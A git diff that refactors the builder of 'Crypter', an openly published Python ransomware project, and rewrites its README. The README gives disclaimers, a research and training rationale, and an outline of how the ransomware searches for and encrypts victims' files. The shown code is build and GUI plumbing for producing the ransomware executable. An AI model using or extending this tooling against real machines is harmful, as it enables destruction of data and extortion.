build/ExeBuilder/BuilderThread.py rename to CrypterBuilder/BuilderThread.py index 2e5628a..431ea35 100644 --- a/build/ExeBuilder/BuilderThread.py +++ b/CrypterBuilder/BuilderThread.py @@ -1,5 +1,5 @@ ''' -@summary: Crypter Exe Builder: Build Thread +@summary: Crypter Builder: Build Thread @author: MLS ''' @@ -10,8 +10,7 @@ import json import subprocess from threading import Thread, Event -from wx.lib.pubsub import setuparg1 -from wx.lib.pubsub import pub as Publisher +from pubsub import pub # Import package modules from .Base import * @@ -80,11 +79,11 @@ def __console_log(self, msg=None, debug_level=0, ccode=0, timestamp=True, _class "ccode": ccode, "timestamp": timestamp } - for key, value in kwargs.iteritems(): + for key, value in kwargs.items(): update_data_dict[key] = value # Send update data - Publisher.sendMessage("update", update_data_dict) + pub.sendMessage("update", msg=update_data_dict) def validate_input(self, input_field, input_value): @@ -204,8 +203,9 @@ def run(self): # Build failed except BuildFailure as be: self.__build_error = True - self.__console_log(msg=be[0]["message"], ccode=be[0]["ccode"]) - + # self.__console_log(msg=be[0]["message"], ccode=be[0]["ccode"]) + self.__console_log(msg=be, ccode=be.get_code()) + # Build thread finished. Log and Reset build status to prevent further console updates self.__in_progress = False self.__console_log("Build process thread finished", debug_level=3) @@ -228,33 +228,34 @@ def __move_binary(self): # Check Binary was produced if not os.path.isfile("dist\\Main.exe"): - raise BuildFailure({ - "message": "PyInstaller produced binary was not found. The PyInstaller build probably failed." - " Check The PyInstaller output for more details, and ensure a valid PyInstaller install exists.", - "ccode": ERROR_FILE_NOT_FOUND} + raise BuildFailure( + ERROR_FILE_NOT_FOUND, + "PyInstaller produced binary was not found. The PyInstaller build probably failed." + " Check The PyInstaller output for more details, and ensure a valid PyInstaller install exists.", ) # Otherwise move the file to the correct location else: # Make bin dir if it doesn't exist - if not os.path.isdir("..\\bin"): - os.makedirs("..\\bin") + if not os.path.isdir("bin"): + os.makedirs("bin") - if os.path.isfile("..\\bin\\%s" % dest_filename): + if os.path.isfile("bin\\%s" % dest_filename): try: - os.remove("..\\bin\\%s" % dest_filename) + os.remove("bin\\%s" % dest_filename) except WindowsError: - raise BuildFailure({ - "message": "The existing binary at '..\\bin\\%s' could not be replaced with the new binary. Check that the" - " ransomware isn't already open, and that you have sufficient permissions for the" - " ..\\bin folder" % dest_filename, - "ccode": ERROR_CANNOT_WRITE}) + raise BuildFailure( + ERROR_CANNOT_WRITE, + "The existing binary at 'bin\\%s' could not be replaced with the new binary. Check that the" + " ransomware isn't already open, and that you have sufficient permissions for the" + " bin folder" % dest_filename, + ) # Move binary os.rename("dist\\Main.exe", - "..\\bin\\%s" % dest_filename) + "bin\\%s" % dest_filename) self.__binary_location = os.path.join( - os.path.abspath("..\\bin"), + os.path.abspath("bin"), dest_filename ) @@ -306,9 +307,11 @@ def __run_pyinstaller(self, spec_path): creationflags=0x08000000 # To prevent console window opening ) except WindowsError as we: - raise BuildFailure({"message":"Call to PyInstaller failed. Check that PyInstaller is installed and can be" - " found on the system path", - "ccode":ERROR_FILE_NOT_FOUND}) + raise BuildFailure( + ERROR_FILE_NOT_FOUND, + "Call to PyInstaller failed. Check that PyInstaller is installed and can be found" + " on the system path" + ) while True: # Check for stop diff --git a/build/ExeBuilder/Exceptions.py b/CrypterBuilder/Exceptions.py similarity index 67% rename from build/ExeBuilder/Exceptions.py rename to CrypterBuilder/Exceptions.py index 02131f8..82db06c 100644 --- a/build/ExeBuilder/Exceptions.py +++ b/CrypterBuilder/Exceptions.py @@ -1,5 +1,5 @@ ''' -@summary: Crypter Exe Builder: Package exceptions +@summary: Crypter Builder: Package exceptions @author: MLS ''' @@ -40,3 +40,25 @@ class BuildFailure(Exception): ''' @summary: BuildFailure: To be raised in the event of a generic Build Failure ''' + + + def __init__(self, code, message): + ''' + Constructor + :param code: + :param message: + ''' + self.__code = code + + message = "A Build failure occurred (%s): %s" % (code, message) + super(BuildFailure, self).__init__(message) + + + def get_code(self): + ''' + Gets the exception/error code + @return: + ''' + + return self.__code + diff --git a/build/ExeBuilder/Gui.py b/CrypterBuilder/Gui.py similarity index 94% rename from build/ExeBuilder/Gui.py rename to CrypterBuilder/Gui.py index c5eeea5..e1fcecc 100644 --- a/build/ExeBuilder/Gui.py +++ b/CrypterBuilder/Gui.py @@ -9,9 +9,9 @@ import datetime import time import json +import os import subprocess -from wx.lib.pubsub import setuparg1 -from wx.lib.pubsub import pub as Publisher +from pubsub import pub # Import package modules from .BuilderGuiAbsBase import MainFrame @@ -40,13 +40,25 @@ def __init__(self): MainFrame.__init__( self, parent=None ) self.console = Console(self.ConsoleTextCtrl) self.StatusBar.SetStatusText("Ready...") - self.SetIcon(wx.IconFromBitmap(wx.Bitmap("ExeBuilder\\static\\builder_logo.bmp", wx.BITMAP_TYPE_ANY))) + icon = wx.Icon() + icon.CopyFromBitmap(wx.Bitmap(os.path.join(self.__get_resources_path(), "builder_logo.bmp"), wx.BITMAP_TYPE_ANY)) + + self.SetIcon(icon) # Update GUI Visuals self.update_gui_visuals() # Set initial event handlers self.set_events() + + + def __get_resources_path(self): + ''' + Gets the path to the resources directory + @return: Resources directory path + ''' + + return os.path.join(os.path.dirname(__file__), "Resources") def update_gui_visuals(self): @@ -62,7 +74,7 @@ def update_gui_visuals(self): # Set Logo Image self.LogoBitmap.SetBitmap( wx.Bitmap( - "ExeBuilder\\static\\builder_logo.bmp" + os.path.join(self.__get_resources_path(), "builder_logo.bmp") ) ) # Set debug to default level @@ -82,15 +94,7 @@ def update_config_values(self, config_dict): # Parse values # Builder Language - if "builder_language" in config_dict: - if unicode(config_dict["builder_language"]) not in SUPPORTED_LANGUAGES: - self.BuilderLanguageChoice.SetString(0, DEFAULT_LANGUAGE) - else: - self.BuilderLanguageChoice.SetString(0, config_dict["builder_language"]) - if config_dict["builder_language"] != self.language: - self.update_language(None, language=config_dict["builder_language"]) - else: - self.BuilderLanguageChoice.SetString(0, DEFAULT_LANGUAGE) + self.BuilderLanguageChoice.SetString(0, DEFAULT_LANGUAGE) # Debug Level if "debug_level" in config_dict: self.DebugLevelChoice.SetSelection( @@ -311,7 +315,7 @@ def __open_containing_folder(self, event): @summary: Opens explorer in the "bin" directory where the Crypter binary is written ''' - subprocess.Popen(r'explorer "..\bin"') + subprocess.Popen(r'explorer ".\bin"') def set_events(self): @@ -367,17 +371,17 @@ def __update_progress(self, msg): ''' # Log output message to the Console - self.console.log(debug_level=msg.data["debug_level"], - _class=msg.data["_class"], - msg=msg.data["msg"], - ccode=msg.data["ccode"], - timestamp=msg.data["timestamp"]) + self.console.log(debug_level=msg["debug_level"], + _class=msg["_class"], + msg=msg["msg"], + ccode=msg["ccode"], + timestamp=msg["timestamp"]) # CHECK FOR ERRORS # If there was a validation error, highlight culprit field label - if msg.data["ccode"] == ERROR_INVALID_DATA: + if msg["ccode"] == ERROR_INVALID_DATA: # Set input field label FG to red - label_object_name = BUILDER_CONFIG_ITEMS[msg.data["invalid_input_field"]]["label_object_name"] + label_object_name = BUILDER_CONFIG_ITEMS[msg["invalid_input_field"]]["label_object_name"] self.__set_label_colour(label_object_name, colour="red") # If build is not in progress, Reset BUILD Button and set outcome message @@ -534,7 +538,7 @@ def __start_build(self, event): # Create listeners and Launch the Build thread - Publisher.subscribe(self.__update_progress, "update") + pub.subscribe(self.__update_progress, "update") self.__builder = BuilderThread(user_input_dict) diff --git a/build/ExeBuilder/static/Template.spec b/CrypterBuilder/Resources/Template.spec similarity index 70% rename from build/ExeBuilder/static/Template.spec rename to CrypterBuilder/Resources/Template.spec index 0327e41..f91a476 100644 --- a/build/ExeBuilder/static/Template.spec +++ b/CrypterBuilder/Resources/Template.spec @@ -3,13 +3,13 @@ block_cipher=None -a = Analysis(['..\\Crypter\\Main.py'], +a = Analysis(['Crypter\\Main.py'], pathex=['.\\build'], binaries=None, - datas=[("Resources/lock.bmp", "."), - ("Resources/bitcoin.bmp", "."), - ("Resources/lock.ico", "."), - ("Resources/runtime.cfg", ".") + datas=[("CrypterBuilder/Resources/lock.bmp", "."), + ("CrypterBuilder/Resources/bitcoin.bmp", "."), + ("CrypterBuilder/Resources/lock.ico", "."), + ("CrypterBuilder/Resources/runtime.cfg", ".") ], hiddenimports=[], hookspath=[], @@ -30,6 +30,6 @@ exe = EXE(pyz, strip=False, upx=False, console=False, - uac_admin=True, + uac_admin=False, icon=None ) diff --git a/build/Resources/bitcoin.bmp b/CrypterBuilder/Resources/bitcoin.bmp similarity index 100% rename from build/Resources/bitcoin.bmp rename to CrypterBuilder/Resources/bitcoin.bmp diff --git a/build/ExeBuilder/static/builder_logo.bmp b/CrypterBuilder/Resources/builder_logo.bmp similarity index 100% rename from build/ExeBuilder/static/builder_logo.bmp rename to CrypterBuilder/Resources/builder_logo.bmp diff --git a/build/Resources/lock.bmp b/CrypterBuilder/Resources/lock.bmp similarity index 100% rename from build/Resources/lock.bmp rename to CrypterBuilder/Resources/lock.bmp diff --git a/build/Resources/lock.ico b/CrypterBuilder/Resources/lock.ico similarity index 100% rename from build/Resources/lock.ico rename to CrypterBuilder/Resources/lock.ico diff --git a/build/Resources/pdf.ico b/CrypterBuilder/Resources/pdf.ico similarity index 99% rename from build/Resources/pdf.ico rename to CrypterBuilder/Resources/pdf.ico index f22a064..a5bcd70 100644 Binary files a/build/Resources/pdf.ico and b/CrypterBuilder/Resources/pdf.ico differ diff --git a/build/ExeBuilder/Spec.py b/CrypterBuilder/Spec.py similarity index 93% rename from build/ExeBuilder/Spec.py rename to CrypterBuilder/Spec.py index b057015..13bda35 100644 --- a/build/ExeBuilder/Spec.py +++ b/CrypterBuilder/Spec.py @@ -1,12 +1,12 @@ ''' -@summary: Crypter Exe Builder: PyInstaller SPEC File Creator +@summary: Crypter Builder: PyInstaller SPEC File Creator @author: MLS ''' # Import libs import re -from wx.lib.pubsub import setuparg1 -from wx.lib.pubsub import pub as Publisher +import os +from pubsub import pub # Import package modules @@ -19,7 +19,7 @@ class Spec(): @summary: Provides a SPEC file object ''' - SPEC_TEMPLATE_PATH = "ExeBuilder/static/Template.spec" + SPEC_TEMPLATE_PATH = os.path.join("CrypterBuilder", "Resources", "Template.spec") SPEC_OUT_PATH = "Main.spec" def __init__(self): @@ -131,9 +131,10 @@ def __console_log(self, msg=None, debug_level=0, ccode=0, timestamp=True, **kwar "ccode": ccode, "timestamp": timestamp } - for key, value in kwargs.iteritems(): + for key, value in kwargs.items(): update_data_dict[key] = value # Send update data - Publisher.sendMessage("update", update_data_dict) + pub.sendMessage("update", msg=update_data_dict) + \ No newline at end of file diff --git a/CrypterBuilder/__init__.py b/CrypterBuilder/__init__.py new file mode 100644 index 0000000..9f6c9dd --- /dev/null +++ b/CrypterBuilder/__init__.py @@ -0,0 +1,6 @@ +''' +Crypter Builder Package +@author: Sithis +''' + +from .Builder import Builder \ No newline at end of file diff --git a/README.md b/README.md index 311c00e..db5819b 100644 --- a/README.md +++ b/README.md @@ -1,106 +1,99 @@ -# Crypter +
+
+ A Ransomware and Ransomware Builder for Windows written purely in Python
+
+Crypter is intended for educational and research purposes only. This software should not be used within any system or network for which you do not have permission, nor should it be used for any illegal or illicit purposes. The author takes no responsibility for any damages that may be caused by the software in this repository. +
++Once compiled, Crypter WILL encrypt the files on the computer on which it is executed. Whilst Crypter provides you with access to the decryption key, enabling you to decrypt any encrypted files, bugs and other issues could, in theory, interrupt or prevent a successful decryption. Consequently, a permanent and irreversible loss of data could occur. To avoid any potential damage, you should only run Crypter on a test machine created for this purpose. +
++Once again,the author accepts no responsibility for any damages that may occur, and by downloading this software you accept and agree to this disclaimer. +
+ +
+
+ Builder application (left) for customising and building the Crypter Ransomware (right)
+
+Crypter was created for two reasons: +
+
+Traditionally, malware is written in compiled languages like C and C++. As a security researches and Python developer, I set out to determine the extent to which interpretted languages could be used for the creation of malware. At the same time I was working for a security reseller who offered Red vs. Blue training to large enterprises. The training environment made use of live malware samples which were realistic, but unreliable and volatile. After completing the initial PoC, I continued working on Crypter for this organisation to provide a customisable Ransomware sample for use use in this environment. +
+ +#### 2. Why make it publically available? ++Crypter was made publically available to enable security researchers and enthusiasts to gain a better understanding of Ransomware. While there are plenty of guides and videos on the topic, they usually don't provide the understanding that can be gained by experiencing something first hand. +
+ +#### 2. But couldn't it be used by criminals for malicious purposes?! ++While Crypter can be used to simulate a real Ransomware attack, steps have been taken to allow users to reverse any damage, and to prevent use by criminals in the wild. Ransomware is only useful to a criminal if they have the ability to decrypt the user's files and the user does not. Traditionally this is done by sending the encryption key to a remote Command & Control (CnC) server controlled by an attack once the user's files have been encrypted. The victim then pays a ransom fee to retrieve access to the key that will decrypt their files. +
++ With Crypter however, there is no inbuilt CnC capability. Once the user's files have been encrypted, the decryption key is written to key.txt in the same directory as the ransomware executable. The user can then use this key to decrypt their files. +
+ + +#### 4. Could it not be adapted for malicious use? ++ It is certainly possible to further develop Crypter and implement the missing CnC capabilities. However, this requires expertise and knowledge in programming as well as malware tactics and techniques. Anyone motivated and knowledgeable enough to add these components would most likely create a piece of Ransomware from scratch, and not make use of an existing, open source and publically available package as the basis for their attacks. +
+ +#### 3. Can you add a feature for me? ++ Firstly, if you're going to ask me if I can add CnC functionality, or implement some method for sending the encryption key to remote server, Email etc. please don't waste you time. This is not something I'm willing to do, as it would provide script kiddies with a ready made Ransomware tool that would almost certainly be used for nefarious purposes. Again, this project was created purely for research and educational purposes. +
++ Alternatively, if there is a feature that you think could be cool or useful, then feel free to create an issue with some information on what you're looking for and why. I'm usually quite busy with other projects, but if I think it's worthwhile and I can find the time, I may see if it's something that I can implement. +
+ -*Update: Please note that as of December 15th 2017, the direction and purpose of this project has changed. Consequently, It's **extremely important** that you read both the **Disclaimer** and **Project Direction Update** sections of this README.* -Welcome to Crypter! a ransomware and builder package written entirely in Python and compiled to a Windows executable using [PyInstaller](http://www.pyinstaller.org/). This README will provide you with all of the information necessary to understand, build and use this software. - -**Please note that by making use of this repository you accept and agree with the disclaimer section of this README, as well as the section marked "Project Direction Update".** - -Click [here](https://youtu.be/r3jaNHmkkXE) for a video demonstration of Crypter and [here](../../releases) to download the Crypter distributable release, which contains the Crypter repository and all of the required dependencies in a single, convenient package. - - ![Crypter GUI](sample_images/crypter_package.png) - *Builder application (left) and Crypter ransomware piece (right)* - - - ## Disclaimer - IMPORTANT - -*Update: Before reading this section, please also read the section marked "Project Direction Update".* - -Crypter is intended for educational and research purposes only. This software should not be used within any system or network for which you do not have permission, nor should it be used for any illegal or illicit purposes. The author takes no responsibility for any damages that may be caused by the software in this repository. - -Once compiled, Crypter WILL encrypt the files on the computer on which it is executed. Whilst Crypter provides you with access to the decryption key (enabling you to decrypt any encrypted files), bugs and other issues could, in theory, interrupt or prevent a successful decryption. - -Consequently, a permanent and irreversible loss of data could occur. To avoid any potential damage, you should only run Crypter on a test machine created for this purpose. - -Once again, **the author accepts no responsibility for any damages that may occur, and by downloading this software you accept and agree to this disclaimer, as well as the section marked "Project Direction Update".** - -## Project Direction Update -In recent weeks a number of ethical and legal concerns around this project have been raised. Please note that it is **not** my intention to provide criminals with a tool for destructive or harmful purposes. In its current state, Crypter allows users to easily decrypt their files. Once opened, the 256-bit AES key used for encryption is written to a local file in the same directory with the filename **key.txt**. This key can then be used to decrypt all of the encrypted files. It is not hidden from the user, nor is it ever sent to a remote server, Email address etc. In order to truly utilise Crypter for malicious purposes it would likely need to be expanded upon considerably. - -Nevertheless, if I continue to develop this project then I may be in risk of breaking local laws by providing a tool that can be used to commit an offense. Consequently, from December 15th 2017 onwards I will continue to provide support on this project to fix bugs and answer quries, but I will not be continuing with active development, nor will I be addressing feature requests. - -To clarify exactly what this means, I will address issues when highlighted or identified and I may expand upon documentation in the future, but the following will no longer be addressed: -- Development of a remote Command and Control component -- Further functionality additions - -It's been an interesting and pretty fun journey, but active development on the project should be considered finished from this point onwards. - -## Repository Structure -If you're unsure of the components that make up this repository, the following explanation should give you some insight: -``` -Crypter -| -- Crypter\ (The actual ransomware code) -| -- build\ (The builder application, configuration and resources used to produce the PyInstaller binary) - | -- ExeBuilder\ (The Crypter builder package and application) - | -- Resources\ (Holds resources that are bundled with, and used to build, the Crypter executable) - | -- builder_gui\ (Contains the wxFormBuilder GUI project, including prototypes, for the Builder) - | -- Builder.pyw (Launches the builder. Run this script to open the builder application) - | -- config_example.cfg (An example configuration file that can be loaded into the Builder) -| -- gui\ (The Crypter GUI project files. These can be viewed and edited using wxFormBuilder -| -- sample_images\ (Simply contains sample images used in this README) -``` - -## Prerequisites -Before cloning the repository and attempting to build Crypter, you must first meet the following prerequisites. You'll then have all the tools required to launch the builder and create the executable. - -**Due to the confusion and room-for-error surrounding these dependencies, this repository has been packaged with the additional required software shown in the table below, and can be downloaded as a .zip from the [Releases](../../releases) page.** - -**Note:** You should install the software in the exact order shown in the table below, from top to bottom. Without these you wont be able to launch the builder. Errors or issues you may encounter will most likely stem from missing or invalid dependencies. - -| Requirement | Supported Versions | Recommended Version | -| ----------- | ------------------ | ----------- | -| Microsoft Windows | 7, 8, 10, Server 2K8 and above | 10 | -| Python | 2.7.13 (x86) | [2.7.13 (x86)](https://www.python.org/downloads/release/python-2713/) | -| Pyinstaller | 3.1.1, 3.2.1 | [3.1.1](https://github.com/pyinstaller/pyinstaller/releases/tag/v3.1.1) | -| Microsoft VC++ for Python | 9.0 | [9.0](https://www.microsoft.com/en-gb/download/details.aspx?id=44266) | -| pypiwin32 | 219 | [219](https://sourceforge.net/projects/pywin32/files/pywin32/Build%20219/) | -| PyCrypto | 2.6.1 | [2.6.1](http://www.voidspace.org.uk/python/modules.shtml#pycrypto) | -| Ordered Dict | 1.1 | [1.1](https://pypi.python.org/pypi/ordereddict) | -| WxPython | 3.0.2.0 | [3.0.2.0](https://sourceforge.net/projects/wxpython/files/wxPython/3.0.2.0/) | -| \*UPX | 3.94w | [3.94w](https://github.com/upx/upx/releases/tag/v3.94) | - -\*The [UPX Packer](https://upx.github.io/) is an optional, but highly recommended tool that the builder can use to pack the ransomware executable. UPX will allow you to reduce the size of the binary that PyInstaller produces by several Megabytes. - -Once the above software is installed you will be able to launch the builder. - -## How can I build Crypter? -Providing you've met the above prerequisites, building Crypter is now easy thanks to the newly added builder application. - -- Run the *Builder.pyw* script in the *build* directory of this repository to launch the builder. -- Change any desired options, or leave the fields as they are to build Crypter with the default configuration. -- Click the BUILD button at the bottom of the app to start the build. -- Check the *bin* directory (created during the build) in the root of the repository for the produced binary. - -## How does Crypter work? -Crypter's approach is fairly conventional, but the lack of a CnC component does result in different behaviour (see the [Crypter video demonstration](https://youtu.be/r3jaNHmkkXE)). Rather than sending the key to a remote server, Crypter instead writes it to a local file so that the files can be easily decrypted. Once executed, the following steps are taken: - -1. Generates an AES-256 bit key and writes it to key.txt in the current directory - - You can use this key in the Crypter GUI to decrypt your files -2. Searches relevant locations (network drives, user directories, etc.) for matching files - - Locations searched depend on the configuration you specify in the Builder. -3. Encrypts all matching files -4. Displays the Crypter GUI to the victim - -## Why was Crypter created? -Given Crypter's malicious capabilities, as well as the disclaimer in this README, you may be wondering why Crypter was created. The primary (and original) goal of this project was to provide a proof-of-concept which demonstrated Python's capabilities as a language for real-world malware development. - -As development continued, the focus of the project then changed to provide a tool that could be used for security training and first-hand user awareness. In this sense, Crypter could be used to perform and demonstrate a real-world ransomware outbreak within a controlled environment, the effects of which could be easily reversed. - -Traditionally, compiled languages like C and C++ have been the chosen platforms of malware authors. Today however, a general advancement of platforms and tools has introduced attractive alternatives which extend these opportunities to other languages. As an incredibly popular, beginner-friendly language with an immense wealth of third party support, Python allows developers to quickly create powerful tools without the overhead of a lower-level language. These characteristics are likely responsible for the increase in Python-based malware pieces observed in recent years, and will also likely influence and impact future trends in the area. Examples of such pieces include: - -+ [PWOBot](http://researchcenter.paloaltonetworks.com/2016/04/unit42-python-based-pwobot-targets-european-organizations/) -+ [PyCL](https://www.bleepingcomputer.com/news/security/pycl-ransomware-delivered-via-rig-ek-in-distribution-test/) -+ [CryPy](http://www.zdnet.com/article/python-ransomware-encrypts-files-with-unique-keys-one-at-a-time/) -+ [HolyCrypt](https://www.bleepingcomputer.com/news/security/new-python-ransomware-called-holycrypt-discovered/) - -Whilst similar projects do exist on GitHub, few are structured in the same way. Crypter aims to expand upon these by providing a *cryptolocker* style Python-based ransomware piece, which can be easily customised and built. diff --git a/build/Builder.pyw b/build/Builder.pyw deleted file mode 100644 index a012947..0000000 --- a/build/Builder.pyw +++ /dev/null @@ -1,10 +0,0 @@ -''' -@summary: Crypter Build script. Invokes the Crypter Exe Builder -@author: MLS -@version: 0.1 -''' - -# Import libs -import ExeBuilder - -go = ExeBuilder.ExeBuilder() \ No newline at end of file diff --git a/build/ExeBuilder/.project b/build/ExeBuilder/.project deleted file mode 100644 index 87af464..0000000 --- a/build/ExeBuilder/.project +++ /dev/null @@ -1,17 +0,0 @@ - -